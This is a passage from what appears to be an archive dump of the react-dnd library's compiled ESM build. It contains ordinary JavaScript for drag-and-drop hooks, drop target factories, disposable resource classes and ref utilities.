    value: function receiveProps(props) {
      this.props = props;
    }
  }, {
    key: "receiveMonitor",
    value: function receiveMonitor(monitor) {
      this.monitor = monitor;
    }
  }, {
    key: "canDrop",
    value: function canDrop() {
      if (!this.spec.canDrop) {
        return true;
      }

      return this.spec.canDrop(this.props, this.monitor);
    }
  }, {
    key: "hover",
    value: function hover() {
      if (!this.spec.hover || !this.props) {
        return;
      }

      this.spec.hover(this.props, this.monitor, getDecoratedComponent(this.ref));
    }
  }, {
    key: "drop",
    value: function drop() {
      if (!this.spec.drop) {
        return undefined;
      }

      var dropResult = this.spec.drop(this.props, this.monitor, this.ref.current);

      if (process.env.NODE_ENV !== 'production') {
        invariant(typeof dropResult === 'undefined' || isPlainObject(dropResult), 'drop() must either return undefined, or an object that represents the drop result. ' + 'Instead received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', dropResult);
      }

      return dropResult;
    }
  }]);

  return TargetImpl;
}();

export function createTargetFactory(spec) {
  Object.keys(spec).forEach(function (key) {
    invariant(ALLOWED_SPEC_METHODS.indexOf(key) > -1, 'Expected the drop target specification to only have ' + 'some of the following keys: %s. ' + 'Instead received a specification with an unexpected "%s" key. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', ALLOWED_SPEC_METHODS.join(', '), key);
    invariant(typeof spec[key] === 'function', 'Expected %s in the drop target specification to be a function. ' + 'Instead received a specification with %s: %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', key, key, spec[key]);
  });
  return function createTarget(monitor, ref) {
    return new TargetImpl(spec, monitor, ref);
  };
}esm/decorators/disposables.js000064400000014612151677306070012363 0ustar00function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

import { isFunction, noop } from '../utils/js_utils';
/**
 * Provides a set of static methods for creating Disposables.
 * @param {Function} action Action to run during the first call to dispose.
 * The action is guaranteed to be run at most once.
 */

var Disposable =
/** @class */
function () {
  var Disposable = /*#__PURE__*/function () {
    function Disposable(action) {
      _classCallCheck(this, Disposable);

      this.isDisposed = false;
      this.action = isFunction(action) ? action : noop;
    }
    /**
     * Validates whether the given object is a disposable
     * @param {Object} Object to test whether it has a dispose method
     * @returns {Boolean} true if a disposable object, else false.
     */


    _createClass(Disposable, [{
      key: "dispose",

      /** Performs the task of cleaning up resources. */
      value: function dispose() {
        if (!this.isDisposed) {
          this.action();
          this.isDisposed = true;
        }
      }
    }], [{
      key: "isDisposable",
      value: function isDisposable(d) {
        return Boolean(d && isFunction(d.dispose));
      }
    }, {
      key: "_fixup",
      value: function _fixup(result) {
        return Disposable.isDisposable(result) ? result : Disposable.empty;
      }
      /**
       * Creates a disposable object that invokes the specified action when disposed.
       * @param {Function} dispose Action to run during the first call to dispose.
       * The action is guaranteed to be run at most once.
       * @return {Disposable} The disposable object that runs the given action upon disposal.
       */

    }, {
      key: "create",
      value: function create(action) {
        return new Disposable(action);
      }
    }]);

    return Disposable;
  }();
  /**
   * Gets the disposable that does nothing when disposed.
   */


  Disposable.empty = {
    dispose: noop
  };
  return Disposable;
}();

export { Disposable };
/**
 * Represents a group of disposable resources that are disposed together.
 * @constructor
 */

export var CompositeDisposable = /*#__PURE__*/function () {
  function CompositeDisposable() {
    _classCallCheck(this, CompositeDisposable);

    this.isDisposed = false;

    for (var _len = arguments.length, disposables = new Array(_len), _key = 0; _key < _len; _key++) {
      disposables[_key] = arguments[_key];
    }

    this.disposables = disposables;
  }
  /**
   * Adds a disposable to the CompositeDisposable or disposes the disposable if the CompositeDisposable is disposed.
   * @param {Any} item Disposable to add.
   */


  _createClass(CompositeDisposable, [{
    key: "add",
    value: function add(item) {
      if (this.isDisposed) {
        item.dispose();
      } else {
        this.disposables.push(item);
      }
    }
    /**
     * Removes and disposes the first occurrence of a disposable from the CompositeDisposable.
     * @param {Any} item Disposable to remove.
     * @returns {Boolean} true if found; false otherwise.
     */

  }, {
    key: "remove",
    value: function remove(item) {
      var shouldDispose = false;

      if (!this.isDisposed) {
        var idx = this.disposables.indexOf(item);

        if (idx !== -1) {
          shouldDispose = true;
          this.disposables.splice(idx, 1);
          item.dispose();
        }
      }

      return shouldDispose;
    }
    /**
     *  Disposes all disposables in the group and removes them from the group but
     *  does not dispose the CompositeDisposable.
     */

  }, {
    key: "clear",
    value: function clear() {
      if (!this.isDisposed) {
        var len = this.disposables.length;
        var currentDisposables = new Array(len);

        for (var i = 0; i < len; i++) {
          currentDisposables[i] = this.disposables[i];
        }

        this.disposables = [];

        for (var _i = 0; _i < len; _i++) {
          currentDisposables[_i].dispose();
        }
      }
    }
    /**
     *  Disposes all disposables in the group and removes them from the group.
     */

  }, {
    key: "dispose",
    value: function dispose() {
      if (!this.isDisposed) {
        this.isDisposed = true;
        var len = this.disposables.length;
        var currentDisposables = new Array(len);

        for (var i = 0; i < len; i++) {
          currentDisposables[i] = this.disposables[i];
        }

        this.disposables = [];

        for (var _i2 = 0; _i2 < len; _i2++) {
          currentDisposables[_i2].dispose();
        }
      }
    }
  }]);

  return CompositeDisposable;
}();
/**
 * Represents a disposable resource whose underlying disposable resource can
 * be replaced by another disposable resource, causing automatic disposal of
 * the previous underlying disposable resource.
 */

export var SerialDisposable = /*#__PURE__*/function () {
  function SerialDisposable() {
    _classCallCheck(this, SerialDisposable);

    this.isDisposed = false;
  }
  /**
   * Gets the underlying disposable.
   * @returns {Any} the underlying disposable.
   */


  _createClass(SerialDisposable, [{
    key: "getDisposable",
    value: function getDisposable() {
      return this.current;
    }
  }, {
    key: "setDisposable",
    value: function setDisposable(value) {
      var shouldDispose = this.isDisposed;

      if (!shouldDispose) {
        var old = this.current;
        this.current = value;

        if (old) {
          old.dispose();
        }
      }

      if (shouldDispose && value) {
        value.dispose();
      }
    }
    /** Performs the task of cleaning up resources. */

  }, {
    key: "dispose",
    value: function dispose() {
      if (!this.isDisposed) {
        this.isDisposed = true;
        var old = this.current;
        this.current = undefined;

        if (old) {
          old.dispose();
        }
      }
    }
  }]);

  return SerialDisposable;
}();esm/decorators/interfaces.js000064400000000000151677306070012160 0ustar00esm/utils/isRef.js000064400000001101151677306070010103 0ustar00function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }

export function isRef(obj) {
  return (// eslint-disable-next-line no-prototype-builtins
    obj !== null && _typeof(obj) === 'object' && Object.prototype.hasOwnProperty.call(obj, 'current')
  );
}esm/utils/cloneWithRef.js000064400000001624151677306070011436 0ustar00import { cloneElement } from 'react';
import { invariant } from '@react-dnd/invariant';

function setRef(ref, node) {
  if (typeof ref === 'function') {
    ref(node);
  } else {
    ref.current = node;
  }
}

export function cloneWithRef(element, newRef) {
  var previousRef = element.ref;
  invariant(typeof previousRef !== 'string', 'Cannot connect React DnD to an element with an existing string ref. ' + 'Please convert it to use a callback ref instead, or wrap it into a <span> or <div>. ' + 'Read more: https://facebook.github.io/react/docs/more-about-refs.html#the-ref-callback-attribute');

  if (!previousRef) {
    // When there is no ref on the element, use the new ref directly
    return cloneElement(element, {
      ref: newRef
    });
  } else {
    return cloneElement(element, {
      ref: function ref(node) {
        setRef(previousRef, node);
        setRef(newRef, node);
      }
    });
  }
}esm/utils/isValidType.js000064400000001131151677306070011273 0ustar00function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }

export function isValidType(type, allowArray) {
  return typeof type === 'string' || _typeof(type) === 'symbol' || !!allowArray && Array.isArray(type) && type.every(function (t) {
    return isValidType(t, false);
  });
}esm/interfaces/hooksApi.js000064400000000000151677306070011570 0ustar00esm/interfaces/monitors.js000064400000000000151677306070011665 0ustar00esm/interfaces/index.js000064400000000160151677306070011131 0ustar00export * from './monitors';
export * from './hooksApi';
export * from './options';
export * from './connectors';esm/interfaces/connectors.js000064400000000000151677306070012170 0ustar00esm/interfaces/options.js000064400000000000151677306070011506 0ustar00esm/hooks/useDrop.js000064400000005317151677306070010454 0ustar00function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); }

function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); }

function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; }

import { useRef, useMemo } from 'react';
import { invariant } from '@react-dnd/invariant';
import { useMonitorOutput } from './internal/useMonitorOutput';
import { useIsomorphicLayoutEffect } from './internal/useIsomorphicLayoutEffect';
import { useDropHandler, useDropTargetMonitor } from './internal/drop';
/**
 * useDropTarget Hook
 * @param spec The drop target specification
 */

export function useDrop(spec) {
  var specRef = useRef(spec);
  specRef.current = spec;
  invariant(spec.accept != null, 'accept must be defined');

  var _useDropTargetMonitor = useDropTargetMonitor(),
      _useDropTargetMonitor2 = _slicedToArray(_useDropTargetMonitor, 2),
      monitor = _useDropTargetMonitor2[0],
      connector = _useDropTargetMonitor2[1];

  useDropHandler(specRef, monitor, connector);
  var result = useMonitorOutput(monitor, specRef.current.collect || function () {
    return {};
  }, function () {
    return connector.reconnect();
  });
  var connectDropTarget = useMemo(function () {
    return connector.hooks.dropTarget();
  }, [connector]);
  useIsomorphicLayoutEffect(function () {
    connector.dropTargetOptions = spec.options || null;
    connector.reconnect();
  }, [spec.options]);
  return [result, connectDropTarget];
}esm/hooks/internal/drag.js000064400000010434151677306070011560 0ustar00function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); }

function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); }

function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; }

function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }

import { useMemo } from 'react';
import { invariant } from '@react-dnd/invariant';
import { registerSource } from '../../common/registration';
import { useDragDropManager } from '../useDragDropManager';
import { DragSourceMonitorImpl } from '../../common/DragSourceMonitorImpl';
import { SourceConnector } from '../../common/SourceConnector';
import { useIsomorphicLayoutEffect } from './useIsomorphicLayoutEffect';
export function useDragSourceMonitor() {
  var manager = useDragDropManager();
  var monitor = useMemo(function () {
    return new DragSourceMonitorImpl(manager);
  }, [manager]);
  var connector = useMemo(function () {
    return new SourceConnector(manager.getBackend());
  }, [manager]);
  return [monitor, connector];
}
export function useDragHandler(spec, monitor, connector) {
  var manager = useDragDropManager();
  var handler = useMemo(function () {
    return {
      beginDrag: function beginDrag() {
        var _spec$current = spec.current,
            begin = _spec$current.begin,
            item = _spec$current.item;

        if (begin) {
          var beginResult = begin(monitor);
          invariant(beginResult == null || _typeof(beginResult) === 'object', 'dragSpec.begin() must either return an object, undefined, or null');
          return beginResult || item || {};
        }

        return item || {};
      },
      canDrag: function canDrag() {
        if (typeof spec.current.canDrag === 'boolean') {
          return spec.current.canDrag;
        } else if (typeof spec.current.canDrag === 'function') {
          return spec.current.canDrag(monitor);
        } else {
          return true;
        }
      },
      isDragging: function isDragging(globalMonitor, target) {
        var isDragging = spec.current.isDragging;
        return isDragging ? isDragging(monitor) : target === globalMonitor.getSourceId();
      },
      endDrag: function endDrag() {
        var end = spec.current.end;

        if (end) {
          end(monitor.getItem(), monitor);
        }

        connector.reconnect();
      }
    };
  }, []);
  useIsomorphicLayoutEffect(function registerHandler() {
    var _registerSource = registerSource(spec.current.item.type, handler, manager),
        _registerSource2 = _slicedToArray(_registerSource, 2),
        handlerId = _registerSource2[0],
        unregister = _registerSource2[1];

    monitor.receiveHandlerId(handlerId);
    connector.receiveHandlerId(handlerId);
    return unregister;
  }, []);
}esm/hooks/internal/useIsomorphicLayoutEffect.js000064400000000320151677306070016000 0ustar00import { useLayoutEffect, useEffect } from 'react'; // suppress the useLayoutEffect warning on server side.

export var useIsomorphicLayoutEffect = typeof window !== 'undefined' ? useLayoutEffect : useEffect;esm/hooks/internal/useMonitorOutput.js000064400000004275151677306070014236 0ustar00function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); }

function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); }

function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; }

import { useIsomorphicLayoutEffect } from './useIsomorphicLayoutEffect';
import { useCollector } from './useCollector';
export function useMonitorOutput(monitor, collect, onCollect) {
  var _useCollector = useCollector(monitor, collect, onCollect),
      _useCollector2 = _slicedToArray(_useCollector, 2),
      collected = _useCollector2[0],
      updateCollected = _useCollector2[1];

  useIsomorphicLayoutEffect(function subscribeToMonitorStateChange() {
    var handlerId = monitor.getHandlerId();

    if (handlerId == null) {
      return undefined;
    }

    return monitor.subscribeToStateChange(updateCollected, {
      handlerIds: [handlerId]
    });
  }, [monitor, updateCollected]);
  return collected;
}esm/hooks/internal/drop.js000064400000006316151677306070011613 0ustar00function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); }

function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); }

function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; }

import { useMemo } from 'react';
import { registerTarget } from '../../common/registration';
import { useDragDropManager } from '../useDragDropManager';
import { TargetConnector } from '../../common/TargetConnector';
import { DropTargetMonitorImpl } from '../../common/DropTargetMonitorImpl';
import { useIsomorphicLayoutEffect } from './useIsomorphicLayoutEffect';
export function useDropTargetMonitor() {
  var manager = useDragDropManager();
  var monitor = useMemo(function () {
    return new DropTargetMonitorImpl(manager);
  }, [manager]);
  var connector = useMemo(function () {
    return new TargetConnector(manager.getBackend());
  }, [manager]);
  return [monitor, connector];
}
export function useDropHandler(spec, monitor, connector) {
  var manager = useDragDropManager();
  var handler = useMemo(function () {
    return {
      canDrop: function canDrop() {
        var canDrop = spec.current.canDrop;
        return canDrop ? canDrop(monitor.getItem(), monitor) : true;
      },
      hover: function hover() {
        var hover = spec.current.hover;

        if (hover) {
          hover(monitor.getItem(), monitor);
        }
      },
      drop: function drop() {
        var drop = spec.current.drop;

        if (drop) {
          return drop(monitor.getItem(), monitor);
        }
      }
    };
  }, [monitor]);
  useIsomorphicLayoutEffect(function registerHandler() {
    var _registerTarget = registerTarget(spec.current.accept, handler, manager),
        _registerTarget2 = _slicedToArray(_registerTarget, 2),
        handlerId = _registerTarget2[0],
        unregister = _registerTarget2[1];

    monitor.receiveHandlerId(handlerId);
    connector.receiveHandlerId(handlerId);
    return unregister;
  }, [monitor, connector]);
}esm/hooks/internal/useCollector.js000064400000005015151677306070013305 0ustar00function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); }

function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); }

function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; }

import { shallowEqual } from '@react-dnd/shallowequal';
import { useState, useCallback } from 'react';
import { useIsomorphicLayoutEffect } from './useIsomorphicLayoutEffect';
/**
 *
 * @param monitor The monitor to collect state from
 * @param collect The collecting function
 * @param onUpdate A method to invoke when updates occur
 */

export function useCollector(monitor, collect, onUpdate) {
  var _useState = useState(function () {
    return collect(monitor);
  }),
      _useState2 = _slicedToArray(_useState, 2),
      collected = _useState2[0],
      setCollected = _useState2[1];

  var updateCollected = useCallback(function () {
    var nextValue = collect(monitor);

    if (!shallowEqual(collected, nextValue)) {
      setCollected(nextValue);

      if (onUpdate) {
        onUpdate();
      }
    }
  }, [collected, monitor, onUpdate]); // update the collected properties after the first render
  // and the components are attached to dnd-core

  useIsomorphicLayoutEffect(updateCollected, []);
  return [collected, updateCollected];
}esm/hooks/index.js000064400000000173151677306070010135 0ustar00export * from './useDrag';
export * from './useDrop';
export * from './useDragLayer';
export * from './useDragDropManager';esm/hooks/useDrag.js000064400000006164151677306070010426 0ustar00function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); }

function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); }

function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; }

import { useRef, useMemo } from 'react';
import { invariant } from '@react-dnd/invariant';
import { useMonitorOutput } from './internal/useMonitorOutput';
import { useIsomorphicLayoutEffect } from './internal/useIsomorphicLayoutEffect';
import { useDragSourceMonitor, useDragHandler } from './internal/drag';
/**
 * useDragSource hook
 * @param sourceSpec The drag source specification *
 */

export function useDrag(spec) {
  var specRef = useRef(spec);
  specRef.current = spec; // TODO: wire options into createSourceConnector

  invariant(spec.item != null, 'item must be defined');
  invariant(spec.item.type != null, 'item type must be defined');

  var _useDragSourceMonitor = useDragSourceMonitor(),
      _useDragSourceMonitor2 = _slicedToArray(_useDragSourceMonitor, 2),
      monitor = _useDragSourceMonitor2[0],
      connector = _useDragSourceMonitor2[1];

  useDragHandler(specRef, monitor, connector);
  var result = useMonitorOutput(monitor, specRef.current.collect || function () {
    return {};
  }, function () {
    return connector.reconnect();
  });
  var connectDragSource = useMemo(function () {
    return connector.hooks.dragSource();
  }, [connector]);
  var connectDragPreview = useMemo(function () {
    return connector.hooks.dragPreview();
  }, [connector]);
  useIsomorphicLayoutEffect(function () {
    connector.dragSourceOptions = specRef.current.options || null;
    connector.reconnect();
  }, [connector]);
  useIsomorphicLayoutEffect(function () {
    connector.dragPreviewOptions = specRef.current.previewOptions || null;
    connector.reconnect();
  }, [connector]);
  return [result, connectDragSource, connectDragPreview];
}esm/hooks/useDragLayer.js000064400000004342151677306070011417 0ustar00function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); }

function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); }

function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; }

import { useEffect } from 'react';
import { useDragDropManager } from './useDragDropManager';
import { useCollector } from './internal/useCollector';
/**
 * useDragLayer Hook
 * @param collector The property collector
 */

export function useDragLayer(collect) {
  var dragDropManager = useDragDropManager();
  var monitor = dragDropManager.getMonitor();

  var _useCollector = useCollector(monitor, collect),
      _useCollector2 = _slicedToArray(_useCollector, 2),
      collected = _useCollector2[0],
      updateCollected = _useCollector2[1];

  useEffect(function () {
    return monitor.subscribeToOffsetChange(updateCollected);
  });
  useEffect(function () {
    return monitor.subscribeToStateChange(updateCollected);
  });
  return collected;
}esm/hooks/useDragDropManager.js000064400000000661151677306070012542 0ustar00import { useContext } from 'react';
import { invariant } from '@react-dnd/invariant';
import { DndContext } from '../common/DndContext';
/**
 * A hook to retrieve the DragDropManager from Context
 */

export function useDragDropManager() {
  var _useContext = useContext(DndContext),
      dragDropManager = _useContext.dragDropManager;

  invariant(dragDropManager != null, 'Expected drag drop context');
  return dragDropManager;
}esm/common/SourceConnector.js000064400000015435151677306070012315 0ustar00function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

import { wrapConnectorHooks } from './wrapConnectorHooks';
import { isRef } from '../utils/isRef';
import { shallowEqual } from '@react-dnd/shallowequal';
export var SourceConnector = /*#__PURE__*/function () {
  function SourceConnector(backend) {
    var _this = this;

    _classCallCheck(this, SourceConnector);

    this.hooks = wrapConnectorHooks({
      dragSource: function dragSource(node, options) {
        _this.clearDragSource();

        _this.dragSourceOptions = options || null;

        if (isRef(node)) {
          _this.dragSourceRef = node;
        } else {
          _this.dragSourceNode = node;
        }

        _this.reconnectDragSource();
      },
      dragPreview: function dragPreview(node, options) {
        _this.clearDragPreview();

        _this.dragPreviewOptions = options || null;

        if (isRef(node)) {
          _this.dragPreviewRef = node;
        } else {
          _this.dragPreviewNode = node;
        }

        _this.reconnectDragPreview();
      }
    });
    this.handlerId = null; // The drop target may either be attached via ref or connect function

    this.dragSourceRef = null;
    this.dragSourceOptionsInternal = null; // The drag preview may either be attached via ref or connect function

    this.dragPreviewRef = null;
    this.dragPreviewOptionsInternal = null;
    this.lastConnectedHandlerId = null;
    this.lastConnectedDragSource = null;
    this.lastConnectedDragSourceOptions = null;
    this.lastConnectedDragPreview = null;
    this.lastConnectedDragPreviewOptions = null;
    this.backend = backend;
  }

  _createClass(SourceConnector, [{
    key: "receiveHandlerId",
    value: function receiveHandlerId(newHandlerId) {
      if (this.handlerId === newHandlerId) {
        return;
      }

      this.handlerId = newHandlerId;
      this.reconnect();
    }
  }, {
    key: "reconnect",
    value: function reconnect() {
      this.reconnectDragSource();
